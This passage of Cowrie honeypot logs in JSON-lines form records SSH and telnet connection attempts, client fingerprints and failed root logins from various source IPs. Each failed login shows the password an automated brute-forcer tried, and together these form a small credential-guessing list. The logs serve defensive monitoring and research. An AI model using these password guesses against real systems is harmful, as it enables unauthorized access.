openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:11.096018Z","src_ip":"109.172.54.111","session":"03c1b9067f0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:11.396083Z","src_ip":"109.172.54.111","session":"03c1b9067f0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:12.498089Z","src_ip":"109.172.54.111","session":"03c1b9067f0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.57.37","src_port":40034,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3456a800183","protocol":"ssh","message":"New connection: 43.130.57.37:40034 (10.17.0.5:22) [session: b3456a800183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:18.883351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:18.888051Z","src_ip":"43.130.57.37","session":"b3456a800183","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:18.957694Z","src_ip":"43.130.57.37","session":"b3456a800183","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.154.2.19","src_port":55368,"dst_ip":"10.17.0.5","dst_port":22,"session":"08520e61e6a2","protocol":"ssh","message":"New connection: 8.154.2.19:55368 (10.17.0.5:22) [session: 08520e61e6a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:19.245428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:19.248974Z","src_ip":"8.154.2.19","session":"08520e61e6a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"flyers","message":"login attempt [root/flyers] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:19.266103Z","src_ip":"43.130.57.37","session":"b3456a800183","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:19.492347Z","src_ip":"8.154.2.19","session":"08520e61e6a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:20.340965Z","src_ip":"43.130.57.37","session":"b3456a800183","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arkserver123","message":"login attempt [root/arkserver123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:20.497808Z","src_ip":"8.154.2.19","session":"08520e61e6a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:21.744327Z","src_ip":"8.154.2.19","session":"08520e61e6a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.154.2.19","src_port":42852,"dst_ip":"10.17.0.5","dst_port":22,"session":"6818d7e1a667","protocol":"ssh","message":"New connection: 8.154.2.19:42852 (10.17.0.5:22) [session: 6818d7e1a667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:35.007642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:35.012564Z","src_ip":"8.154.2.19","session":"6818d7e1a667","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:35.257850Z","src_ip":"8.154.2.19","session":"6818d7e1a667","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W#E4r","message":"login attempt [root/!Q@W#E4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:36.259670Z","src_ip":"8.154.2.19","session":"6818d7e1a667","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:37.504396Z","src_ip":"8.154.2.19","session":"6818d7e1a667","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":41670,"dst_ip":"159.203.135.109","dst_port":22,"session":"41196a7ba501","protocol":"ssh","message":"New connection: 176.32.39.21:41670 (159.203.135.109:22) [session: 41196a7ba501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:42.928132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:42.935824Z","src_ip":"176.32.39.21","session":"41196a7ba501","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:43.053284Z","src_ip":"176.32.39.21","session":"41196a7ba501","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1111111111q","message":"login attempt [root/1111111111q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:43.405185Z","src_ip":"176.32.39.21","session":"41196a7ba501","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:44.525766Z","src_ip":"176.32.39.21","session":"41196a7ba501","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":54572,"dst_ip":"10.17.0.5","dst_port":22,"session":"09bff78b487b","protocol":"ssh","message":"New connection: 43.228.112.254:54572 (10.17.0.5:22) [session: 09bff78b487b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:45.545567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:45.550821Z","src_ip":"43.228.112.254","session":"09bff78b487b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:45.786812Z","src_ip":"43.228.112.254","session":"09bff78b487b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Q!w2e3r4t5y6","message":"login attempt [root/Q!w2e3r4t5y6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:46.731810Z","src_ip":"43.228.112.254","session":"09bff78b487b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:47.961634Z","src_ip":"43.228.112.254","session":"09bff78b487b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.224.137.136","src_port":58023,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fc81c45119e","protocol":"telnet","message":"New connection: 67.224.137.136:58023 (10.17.0.5:23) [session: 1fc81c45119e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:49.080627Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.173.247.254","src_port":57882,"dst_ip":"159.203.135.109","dst_port":22,"session":"957af7bd41cc","protocol":"ssh","message":"New connection: 31.173.247.254:57882 (159.203.135.109:22) [session: 957af7bd41cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:50.341441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:50.357019Z","src_ip":"31.173.247.254","session":"957af7bd41cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:50.603236Z","src_ip":"31.173.247.254","session":"957af7bd41cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"K0nigK0nig@2024","message":"login attempt [root/K0nigK0nig@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:51.561807Z","src_ip":"31.173.247.254","session":"957af7bd41cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:52.801750Z","src_ip":"31.173.247.254","session":"957af7bd41cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.138224840164185,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:02.218758Z","src_ip":"67.224.137.136","session":"1fc81c45119e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":55524,"dst_ip":"10.17.0.5","dst_port":22,"session":"81947dcec2ec","protocol":"ssh","message":"New connection: 103.153.68.219:55524 (10.17.0.5:22) [session: 81947dcec2ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:02.779473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:02.785524Z","src_ip":"103.153.68.219","session":"81947dcec2ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:03.036307Z","src_ip":"103.153.68.219","session":"81947dcec2ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"account","message":"login attempt [root/account] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:03.789063Z","src_ip":"103.153.68.219","session":"81947dcec2ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:05.046734Z","src_ip":"103.153.68.219","session":"81947dcec2ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.57.37","src_port":47386,"dst_ip":"10.17.0.5","dst_port":22,"session":"beed98a1c86d","protocol":"ssh","message":"New connection: 43.130.57.37:47386 (10.17.0.5:22) [session: beed98a1c86d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:29.494093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:29.498697Z","src_ip":"43.130.57.37","session":"beed98a1c86d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:29.567483Z","src_ip":"43.130.57.37","session":"beed98a1c86d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"selenio","message":"login attempt [root/selenio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:29.874305Z","src_ip":"43.130.57.37","session":"beed98a1c86d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:30.947004Z","src_ip":"43.130.57.37","session":"beed98a1c86d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.44.247.134","src_port":43578,"dst_ip":"10.17.0.5","dst_port":22,"session":"80593586239e","protocol":"ssh","message":"New connection: 142.44.247.134:43578 (10.17.0.5:22) [session: 80593586239e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:46.296956Z"}
